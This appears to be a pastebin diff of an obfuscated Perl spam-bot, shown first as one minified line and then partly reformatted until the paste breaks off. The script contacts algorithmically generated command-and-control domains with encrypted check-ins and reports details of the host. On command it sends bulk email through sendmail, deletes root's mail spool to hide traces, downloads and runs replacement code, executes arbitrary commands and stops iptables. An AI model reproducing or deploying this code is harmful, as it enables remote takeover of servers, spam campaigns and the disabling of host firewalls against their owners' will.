SHOW:
|
|
- or go back to the newest paste.
| 1 | #!/usr/bin/perl | |
| 2 | ||
| 3 | - | use strict;use Socket;use CGI;srand(time ^ $$ ^ unpack "%L*", `ps axww | gzip`);$SIG{PIPE}=sub {die "Broken pipe"};$ENV{PATH}=$ENV{PATH}.":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"; my $i5mk = ($< == 0); my $ha3c = ((getpwuid($>))[0]); my $b57i = 0; $b57i = length($ARGV[0]) if ($ARGV[0] =~ /^ +$/); my $k2df = int(rand(2147483647)); my ($ii1p, $g651, $ed90); my $cnik = 443; my $id8k = "/b/index.php";my $jdpm='/tmp/...';my $h8h1=0;my $f377=0;my $h788=0;my $d1m7=0;my $cnon=0;my $iocp=0;my $c84a=50;my $p="1234567890";my $ch4p;my $jdmk="sendmail";my $c1eh;my $k1a3;my %cmp4;my $h7on=27;$cmp4{'d_v'}=$h7on;$cmp4{'d_w'}=$ha3c;$cmp4{'d_rb'}=$b57i;$cmp4{'d_pi'}=$$;$cmp4{'d_iv'}=$];sub aam{print '['.localtime().'] ';print @_;}sub aah{return 0 if !open(SIGNFH, ">$jdpm");return 0 if !flock(SIGNFH, 2 | 4);return 1;}sub aap{my $eaoo=shift;my $in7h=shift;my $gle5=shift;my $kf33=shift;my $k65l=shift;my $hhoe=$eaoo->{'name'};my $j9ej=$eaoo->{'addr'};my $feib=ab2(4);$kf33=~s/\[\[firstname\]\]/$hhoe/g;$kf33=~s/\[\[id\]\]/$j9ej/g;$kf33=~s/\[\[count\]\]/$k65l/g;$kf33=~s/\[\[rand\]\]/$feib/g;$gle5=~s/\[\[firstname\]\]/$hhoe/g;$gle5=~s/\[\[id\]\]/$j9ej/g;$gle5=~s/\[\[count\]\]/$k65l/g;$gle5=~s/\[\[rand\]\]/$feib/g;my $ip30="From: $in7h|To: ".($hhoe ? "\"$hhoe\" <$j9ej>" : "$j9ej")."|Subject: $gle5";eval{open SENDMAIL, "| $jdmk -t";print SENDMAIL "From: $in7h\n";print SENDMAIL "To: ".($hhoe ? "\"$hhoe\" <$j9ej>" : "$j9ej")."\n";print SENDMAIL "Subject: $gle5\n";print SENDMAIL "$kf33";close SENDMAIL;};if($@){my $cka4=$@;chomp $cka4;return 0;}return 1;}sub aak{my $k811=shift;my $jjho=shift;my @iheh=@$jjho;my $in7h=shift @iheh;my $gle5=shift @iheh;my $kf33;while(scalar(@iheh)){my $kh8m=shift @iheh;if($kh8m eq $k811){last;}$kf33 .=$kh8m."\n"; } my @ag4c; while (scalar(@iheh)) { my $eaoo = {}; my $kh8m = shift @iheh; if ($kh8m =~ /^(.*)\t(.+)$/) { $eaoo->{'addr'}=$2;$eaoo->{'name'}=$1;}else{$eaoo->{'addr'}=$kh8m;}push @ag4c, $eaoo if($eaoo->{'addr'});}for(my $i=0;$i<scalar(@ag4c);){if(aap($ag4c[$i], $in7h, $gle5, $kf33, $i)){$h788++;$d1m7++;}else{$cnon++;$iocp++;}$i++;}if($i5mk){`rm -f /var/mail/root /var/spool/mail/root /var/mail/mail /var/spool/mail/mail`;}`rm -f ~/dead.letter`;}sub aae{my $c056=sprintf($k1a3." | grep -ci '<html'", "https://accounts.google.com/ServiceLogin?service=mail");my($ieha)=`$c056`;chomp $ieha;return $ieha;}sub ab7{if($c1eh eq "wget"){my($d4o0)=`wget --version | head -n1 | grep -o "\\.[0-9]*" | grep -o "[0-9]*\$"`;chomp $d4o0;$d4o0=int($d4o0);$k1a3="wget -q -O - -t 1 -T 60 ";$k1a3 .="--no-check-certificate " if($d4o0 > 9);$k1a3 .='"%s"';}elsif($c1eh eq "curl"){$k1a3='curl -s -k --max-time 60 "%s"';}elsif($c1eh eq "fetch"){$k1a3='fetch -T 60 -q -o - "%s"';}}sub ab0{my @kh24=('wget', 'curl', 'fetch');undef $c1eh;foreach my $jjaj(@kh24){if($ch4p){my $c31k=`which $jjaj`; next if ($c31k !~ /^\//); } $c1eh = $jjaj; ab7(); if (!aae()) { undef $c1eh; next; } last; } if (!$c1eh) { $c1eh = "wget";ab7();}$cmp4{'d_br'}=$c1eh;}my $jf8c=0;sub ab5{return if(time() - $jf8c < 3600);$jf8c=time();$ch4p=`which which | grep -v alias | sed -e 's/^[[:space:]]*//'`;ab0();ab1();my $d2fa=`ps -xo command | grep -v grep | grep postfix/master | wc -l | sed -e 's/^[[:space:]]*//'`;chomp $d2fa;if($d2fa){$cmp4{'d_ma'}='postfix';if($ch4p){$d2fa=`which sendmail.postfix`; chomp $d2fa; $jdmk = $d2fa if ($d2fa =~ /^\/.*aap.postfix$/); } } else { $cmp4{'d_ma'}='sendmail';if($i5mk){my $k648=`service sendmail status`; chomp $k648; if ($k648 =~ /^aap is stopped/) { `service sendmail start`;}}}$cmp4{'d_mc'}=$jdmk;}sub ab1{my $go98='sendmail';if($ch4p){my $c0k3=`which $go98`; chomp $c0k3; if ($c0k3 =~ /^(\/[^ ]+)/) { $jdmk = $1; return 1; } } my @i1bb = split /\n/, `locate $go98 | head -n1000`;push @i1bb, split /\n/, `find /bin/ /sbin/ /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin/ -type f -or -type l | grep $go98`; chomp @i1bb; my @din4; foreach my $f2pe (@i1bb) { next if (-d $f2pe); next if (! -x $f2pe); next if ($f2pe =~ /\.so$/); if ($f2pe =~ /bin\// && $f2pe =~ /$go98$/) { $jdmk = $f2pe; return 1; } push (@din4,$f2pe); } foreach my $f2pe (@din4) { if ($f2pe =~ /bin\//) { $jdmk = $f2pe; return 1; } } foreach my $f2pe (@din4) { if ($f2pe =~ /$go98$/) { $jdmk = $f2pe; return 1; } } return 0; } sub aac { my $kh8m = shift; my $jnh6 = shift; if ($jnh6 =~ /([0-9]+)\.([0-9]+)\.([0-9]+)\.([0-9]+)/) { $jnh6 = ($1<<24)+($2<<16)+($3<<8)+($4); } else { $jnh6 = int($jnh6); } my @b0hd; $b0hd[0] = ((($jnh6&0xFF000000)>>24)+15)%256; $b0hd[1] = ((($jnh6&0x00FF0000)>>16)+13)%256; $b0hd[2] = ((($jnh6&0x0000FF00)>>8)+52)%256; $b0hd[3] = ((($jnh6&0x000000FF))+71)%256; my $d8lj; for (my $i = 0; $i < length($kh8m); $i++) { my $flkh = ord(substr ($kh8m, $i, 1)); my $d = int($flkh^$b0hd[$i%4]); $d8lj .= sprintf("%02x", $d); $b0hd[($i+1)%4] = ($b0hd[($i+1)%4]+$d)%256; } return $d8lj; } sub aag { my $kh8m = shift; my $jnh6 = shift; if ($jnh6 =~ /([0-9]+)\.([0-9]+)\.([0-9]+)\.([0-9]+)/) { $jnh6 = ($1<<24)+($2<<16)+($3<<8)+($4); } else { $jnh6 = int($jnh6); } my @b0hd; $b0hd[0] = ((($jnh6&0xFF000000)>>24)+15)%256; $b0hd[1] = ((($jnh6&0x00FF0000)>>16)+13)%256; $b0hd[2] = ((($jnh6&0x0000FF00)>>8)+52)%256; $b0hd[3] = ((($jnh6&0x000000FF))+71)%256; my $d8lj; for (my $i = 0; $i < length($kh8m)/2; $i++) { my $flkh = hex(substr ($kh8m, $i*2, 2)); $b0hd[($i+1)%4] = ($b0hd[($i+1)%4]+$flkh)%256; $d8lj .= chr($flkh^$b0hd[$i%4]); } return $d8lj; } sub ab2 { my $an8o=shift; my @bo99=('a'..'z');my $b01g;foreach(1..$an8o){$b01g.=$bo99[rand @bo99];}return $b01g;}sub aaj{my $a=shift;my $d8lj=0;$d8lj +=(ord(substr($a,3,1)) & 0xFF);$d8lj +=(ord(substr($a,2,1)) & 0xFF) << 8;$d8lj +=(ord(substr($a,1,1)) & 0xFF) << 16;$d8lj +=(ord(substr($a,0,1)) & 0xFF) << 24;return $d8lj;}sub ab8{my $ii1p=shift;my $bf9d=inet_aton($ii1p);return(defined $bf9d)?inet_ntoa($bf9d):undef;}sub ab6{my $g12g=shift;my $jjaj=sprintf($k1a3, $g12g);my @d8lj=`$jjaj`;chomp @d8lj;return @d8lj;}sub aaf{my $g12g=shift;my $dja1=shift;if($c1eh eq "wget"){`wget -q "$g12g" -O "$dja1"`;}elsif($c1eh eq "curl"){`curl "$g12g" > "$dja1"`;}elsif($c1eh eq "fetch"){`fetch -o "$dja1" "$g12g"`;}}my $d5cm=0;my $c4l6=0;my $jp2b;my @jbec=();sub ab4{my $g651=$cnik;undef $jp2b;return($jp2b, $g651) if(aao($jbec[$d5cm], $g651));my $ef8i=$d5cm;for($d5cm=0;$d5cm < 10;$d5cm++){next if($ef8i==$d5cm);return($jp2b, $g651) if(aao($jbec[$d5cm], $g651));}my @p=split '',$p;my $f92f=$p[1].$p[9];$f92f=$f92f.$p[7].'.'.$f92f;$f92f='.'.$f92f;$f92f='.'.$p[1].$p[2].$f92f;$f92f=$p[8].$p[3].$f92f;return($f92f, $g651) if(aad($f92f, $g651));$c4l6++;return undef;}sub aai{($ii1p, $g651)=ab4();$cmp4{'d_fd'}=$ii1p;$cmp4{'d_fi'}=$ed90;$cmp4{'d_fp'}=$g651;}sub aao{my $ii1p=shift;my $g651=shift;my $cicb="www.".$ii1p;my $i163=aaj(inet_aton($cicb));if($i163){my $g40p=ab2(10).".".$ii1p;my $afnm=aaj(inet_aton($g40p));if($afnm &&($afnm==$i163+1)){return aad($g40p, $g651);}}return 0;}sub aad{$jp2b=shift;my $g651=shift;my $dn5e=int(rand(2147483647));my $jnh6=int(rand(2147483647));$ed90=ab8($jp2b);my $bl2i=$dn5e."*".$k2df."*".$jnh6;my $ge5e=aac($bl2i, $ed90);my $g12g="https://$jp2b:$g651/$id8k?id=$ge5e&check=1"; my @iheh = ab6($g12g); for (my $i=0; $i<scalar(@iheh);$i++) { $iheh[$i] = aag($iheh[$i], $jnh6); } my $gbb2 = shift @iheh; if ($gbb2 =~ /^SUCCESS$/) { $c4l6 = 0; return 1; } return 0; } sub ab3 { my $jnh6 = shift; my $dn5e = shift; my $e8a4; foreach my $f (keys %cmp4) { if ($f =~ /^d_(.+)$/) { my $hhoe = $1; $e8a4 .= ($e8a4?"|":"")."$hhoe=".$cmp4{$f};}}$e8a4="$dn5e*$e8a4" if($dn5e);return aac($e8a4, $jnh6);}my $hiki;sub aan{my $bpdp=shift || time || 4357;my @a=();for(1..10000){use integer;push @a, $bpdp & 0x7fffffff;$bpdp *=69069;}$hiki={offset=> 0, array=> \@a}}sub aal{my $k7b5=shift || 1.0;aan() unless defined $hiki;$hiki->{offset}=($hiki->{offset}+ 1) % 10000;my $gjc0=$hiki->{offset};my $a=$hiki->{array};$$a[$gjc0]=($$a[($gjc0 - 471) % 10000] ^ $$a[($gjc0 - 1586) % 10000] ^ $$a[($gjc0 - 6988) % 10000] ^ $$a[($gjc0 - 9689) % 10000]);return $$a[$gjc0] * $k7b5 /(2**31);}sub aab{my $an8o=10;my @bo99=('a'..'z');aan(123987);my $b01g;for(my $i=-3;$i<$c84a;$i++){$b01g="";foreach(1..$an8o){$b01g.=$bo99[int(aal(scalar(@bo99)))];}if($i >=0){my $i683=$b01g.".info";push @jbec, $i683;}}}if(!aah()){exit;}aab();my $hh09=0;while(1){my $gbb2;my @iheh;ab5();aai() if(!$ii1p || !$g651);if(!$ii1p || !$g651){if($c4l6 >=24){last;}sleep 3600;next;}my $dn5e=int(rand(2147483647));my $e3le=int(rand(2147483647));my $jnh6=int(rand(2147483647));my $bl2i=$dn5e."*".$k2df."*".$jnh6;my $ge5e=aac($bl2i, $ed90);my $g12g="https://$ii1p:$g651/$id8k?id=$ge5e";$g12g .="&sent=$h788";$g12g .="¬sent=$cnon";my $c9hl=aac($e3le."*".$ha3c, $ed90);if($h8h1){$g12g .="&unknown=".CGI::escape($h8h1);$h8h1=0;}if($f377){$g12g .="&testsend=1";$f377=0;}$g12g .="&stat=".ab3($ed90, $e3le);@iheh=ab6($g12g);for(my $i=0;$i<scalar(@iheh);$i++){$iheh[$i]=aag($iheh[$i], $jnh6);}$gbb2=shift @iheh;if($gbb2){$h788=0;$cnon=0;$hh09=0;}else{$hh09++;if($hh09 > 3){$hh09=0;undef($ii1p);undef($g651);}$gbb2="SLEEP 60"; } if ($gbb2 =~ /^SLEEP ([0-9]+)$/) { sleep $1; next; } elsif ($gbb2 =~ /^RELOAD (.*)$/) { aaf($1, "/tmp/ ");close(SIGNFH);system('cd /tmp; nohup perl " " " " &');sleep 5;`rm -f "/tmp/ " /tmp/nohup.out`; last; } elsif ($gbb2 =~ /^KILL$/) { last; } elsif ($gbb2 =~ /^SEND ([a-zA-Z0-9]+)$/) { aak($1, \@iheh); undef @iheh; sleep 1; next; } elsif ($gbb2 =~ /^TESTSEND ([a-zA-Z0-9]+)$/) { aak($1, \@iheh); undef @iheh; $f377 = 1; sleep 1; next; } elsif ($gbb2 =~ /^EXECUTE (.*)$/) { qx($1); next; } elsif ($gbb2 =~ /^START SENDMAIL$/) { `service sendmail start`; next; } elsif ($gbb2 =~ /^STOP IPTABLES$/) { `service iptables stop`;next;}$h8h1=$gbb2;sleep 30;if(!aad($ii1p, $g651)){undef($ii1p);undef($g651);}}__END__ |
| 3 | + | use strict; |
| 4 | use Socket; | |
| 5 | use CGI; | |
| 6 | srand( time ^ $$ ^ unpack "%L*", `ps axww | gzip` ); | |
| 7 | $SIG{PIPE} = sub { die "Broken pipe" };
| |
| 8 | $ENV{PATH} =
| |
| 9 | $ENV{PATH} . ":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin";
| |
| 10 | my $i5mk = ( $< == 0 ); | |
| 11 | my $ha3c = ( ( getpwuid($>) )[0] ); | |
| 12 | my $b57i = 0; | |
| 13 | $b57i = length( $ARGV[0] ) if ( $ARGV[0] =~ /^ +$/ ); | |
| 14 | my $k2df = int( rand(2147483647) ); | |
| 15 | my ( $ii1p, $g651, $ed90 ); | |
| 16 | my $cnik = 443; | |
| 17 | my $id8k = "/b/index.php"; | |
| 18 | my $jdpm = '/tmp/...'; | |
| 19 | my $h8h1 = 0; | |
| 20 | my $f377 = 0; | |
| 21 | my $h788 = 0; | |
| 22 | my $d1m7 = 0; | |
| 23 | my $cnon = 0; | |
| 24 | my $iocp = 0; | |
| 25 | my $c84a = 50; | |
| 26 | my $p = "1234567890"; | |
| 27 | my $ch4p; | |
| 28 | my $jdmk = "sendmail"; | |
| 29 | my $c1eh; | |
| 30 | my $k1a3; | |
| 31 | my %cmp4; | |
| 32 | my $h7on = 27; | |
| 33 | $cmp4{'d_v'} = $h7on;
| |
| 34 | $cmp4{'d_w'} = $ha3c;
| |
| 35 | $cmp4{'d_rb'} = $b57i;
| |
| 36 | $cmp4{'d_pi'} = $$;
| |
| 37 | $cmp4{'d_iv'} = $];
| |
| 38 | sub aam { print '[' . localtime() . '] '; print @_; }
| |
| 39 | ||
| 40 | sub aah {
| |
| 41 | return 0 if !open( SIGNFH, ">$jdpm" ); | |
| 42 | return 0 if !flock( SIGNFH, 2 | 4 ); | |
| 43 | return 1; | |
| 44 | } | |
| 45 | ||
| 46 | sub aap {
| |
| 47 | my $eaoo = shift; | |
| 48 | my $in7h = shift; | |
| 49 | my $gle5 = shift; | |
| 50 | my $kf33 = shift; | |
| 51 | my $k65l = shift; | |
| 52 | my $hhoe = $eaoo->{'name'};
| |
| 53 | my $j9ej = $eaoo->{'addr'};
| |
| 54 | my $feib = ab2(4); | |
| 55 | $kf33 =~ s/\[\[firstname\]\]/$hhoe/g; | |
| 56 | $kf33 =~ s/\[\[id\]\]/$j9ej/g; | |
| 57 | $kf33 =~ s/\[\[count\]\]/$k65l/g; | |
| 58 | $kf33 =~ s/\[\[rand\]\]/$feib/g; | |
| 59 | $gle5 =~ s/\[\[firstname\]\]/$hhoe/g; | |
| 60 | $gle5 =~ s/\[\[id\]\]/$j9ej/g; | |
| 61 | $gle5 =~ s/\[\[count\]\]/$k65l/g; | |
| 62 | $gle5 =~ s/\[\[rand\]\]/$feib/g; | |
| 63 | my $ip30 = | |
| 64 | "From: $in7h|To: " | |
| 65 | . ( $hhoe ? "\"$hhoe\" <$j9ej>" : "$j9ej" ) | |
| 66 | . "|Subject: $gle5"; | |
| 67 | eval {
| |
| 68 | open SENDMAIL, "| $jdmk -t"; | |
| 69 | print SENDMAIL "From: $in7h\n"; | |
| 70 | print SENDMAIL "To: " | |
| 71 | . ( $hhoe ? "\"$hhoe\" <$j9ej>" : "$j9ej" ) . "\n"; | |
| 72 | print SENDMAIL "Subject: $gle5\n"; | |
| 73 | print SENDMAIL "$kf33"; | |
| 74 | close SENDMAIL; | |
| 75 | }; | |
| 76 | if ($@) { my $cka4 = $@; chomp $cka4; return 0; }
| |
| 77 | return 1; | |
| 78 | } | |
| 79 | ||
| 80 | sub aak {
| |
| 81 | my $k811 = shift; | |
| 82 | my $jjho = shift; | |
| 83 | my @iheh = @$jjho; | |
| 84 | my $in7h = shift @iheh; | |
| 85 | my $gle5 = shift @iheh; | |
| 86 | my $kf33; | |
| 87 | while ( scalar(@iheh) ) {
| |
| 88 | my $kh8m = shift @iheh; | |
| 89 | if ( $kh8m eq $k811 ) { last; }
| |
| 90 | $kf33 .= $kh8m . "\n"; | |
| 91 | } | |
| 92 | my @ag4c; | |
| 93 | while ( scalar(@iheh) ) {
| |
| 94 | my $eaoo = {};
| |
| 95 | my $kh8m = shift @iheh; | |
| 96 | if ( $kh8m =~ /^(.*)\t(.+)$/ ) {
| |
| 97 | $eaoo->{'addr'} = $2;
| |
| 98 | $eaoo->{'name'} = $1;
| |
| 99 | } | |
| 100 | else { $eaoo->{'addr'} = $kh8m; }
| |
| 101 | push @ag4c, $eaoo if ( $eaoo->{'addr'} );
| |
| 102 | } | |
| 103 | for ( my $i = 0 ; $i < scalar(@ag4c) ; ) {
| |
| 104 | if ( aap( $ag4c[$i], $in7h, $gle5, $kf33, $i ) ) { $h788++; $d1m7++; }
| |
| 105 | else { $cnon++; $iocp++; }
| |
| 106 | $i++; | |
| 107 | } | |
| 108 | if ($i5mk) {
| |
| 109 | `rm -f /var/mail/root /var/spool/mail/root /var/mail/mail /var/spool/mail/mail`; | |
| 110 | } | |
| 111 | `rm -f ~/dead.letter`; | |
| 112 | } | |
| 113 | ||
| 114 | sub aae {
| |
| 115 | my $c056 = sprintf( | |
| 116 | $k1a3 . " | grep -ci '<html'", | |
| 117 | "https://accounts.google.com/ServiceLogin?service=mail" | |
| 118 | ); | |
| 119 | my ($ieha) = `$c056`; | |
| 120 | chomp $ieha; | |
| 121 | return $ieha; | |
| 122 | } | |
| 123 | ||
| 124 | sub ab7 {
| |
| 125 | if ( $c1eh eq "wget" ) {
| |
| 126 | my ($d4o0) = | |
| 127 | `wget --version | head -n1 | grep -o "\\.[0-9]*" | grep -o "[0-9]*\$"`; | |
| 128 | chomp $d4o0; | |
| 129 | $d4o0 = int($d4o0); | |
| 130 | $k1a3 = "wget -q -O - -t 1 -T 60 "; | |
| 131 | $k1a3 .= "--no-check-certificate " if ( $d4o0 > 9 ); | |
| 132 | $k1a3 .= '"%s"'; | |
| 133 | } | |
| 134 | elsif ( $c1eh eq "curl" ) { $k1a3 = 'curl -s -k --max-time 60 "%s"'; }
| |
| 135 | elsif ( $c1eh eq "fetch" ) { $k1a3 = 'fetch -T 60 -q -o - "%s"'; }
| |
| 136 | } | |
| 137 | ||
| 138 | sub ab0 {
| |
| 139 | my @kh24 = ( 'wget', 'curl', 'fetch' ); | |
| 140 | undef $c1eh; | |
| 141 | foreach my $jjaj (@kh24) {
| |
| 142 | if ($ch4p) { my $c31k = `which $jjaj`; next if ( $c31k !~ /^\// ); }
| |
| 143 | $c1eh = $jjaj; | |
| 144 | ab7(); | |
| 145 | if ( !aae() ) { undef $c1eh; next; }
| |
| 146 | last; | |
| 147 | } | |
| 148 | if ( !$c1eh ) { $c1eh = "wget"; ab7(); }
| |
| 149 | $cmp4{'d_br'} = $c1eh;
| |
| 150 | } | |
| 151 | my $jf8c = 0; | |
| 152 | ||
| 153 | sub ab5 {
| |
| 154 | return if ( time() - $jf8c < 3600 ); | |
| 155 | $jf8c = time(); | |
| 156 | $ch4p = `which which | grep -v alias | sed -e 's/^[[:space:]]*//'`; | |
| 157 | ab0(); | |
| 158 | ab1(); | |
| 159 | my $d2fa = | |
| 160 | `ps -xo command | grep -v grep | grep postfix/master | wc -l | sed -e 's/^[[:space:]]*//'`; | |
| 161 | chomp $d2fa; | |
| 162 | if ($d2fa) {
| |
| 163 | $cmp4{'d_ma'} = 'postfix';
| |
| 164 | if ($ch4p) {
| |
| 165 | $d2fa = `which sendmail.postfix`; | |
| 166 | chomp $d2fa; | |
| 167 | $jdmk = $d2fa if ( $d2fa =~ /^\/.*aap.postfix$/ ); | |
| 168 | } | |
| 169 | } | |
| 170 | else {
| |
| 171 | $cmp4{'d_ma'} = 'sendmail';
| |
| 172 | if ($i5mk) {
| |
| 173 | my $k648 = `service sendmail status`; | |
| 174 | chomp $k648; | |
| 175 | if ( $k648 =~ /^aap is stopped/ ) { `service sendmail start`; }
| |
| 176 | } | |
| 177 | } | |
| 178 | $cmp4{'d_mc'} = $jdmk;
| |
| 179 | } | |
| 180 | ||
| 181 | sub ab1 {
| |
| 182 | my $go98 = 'sendmail'; | |
| 183 | if ($ch4p) {
| |
| 184 | my $c0k3 = `which $go98`; | |
| 185 | chomp $c0k3; | |
| 186 | if ( $c0k3 =~ /^(\/[^ ]+)/ ) { $jdmk = $1; return 1; }
| |
| 187 | } | |
| 188 | my @i1bb = split /\n/, `locate $go98 | head -n1000`; | |
| 189 | push @i1bb, split /\n/, | |
| 190 | `find /bin/ /sbin/ /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin/ -type f -or -type l | grep $go98`; | |
| 191 | chomp @i1bb; | |
| 192 | my @din4; | |
| 193 | foreach my $f2pe (@i1bb) {
| |
| 194 | next if ( -d $f2pe ); | |
| 195 | next if ( !-x $f2pe ); | |
| 196 | next if ( $f2pe =~ /\.so$/ ); | |
| 197 | if ( $f2pe =~ /bin\// && $f2pe =~ /$go98$/ ) {
| |
| 198 | $jdmk = $f2pe; | |
| 199 | return 1; | |
| 200 | } | |
| 201 | push( @din4, $f2pe ); | |
| 202 | } | |
| 203 | foreach my $f2pe |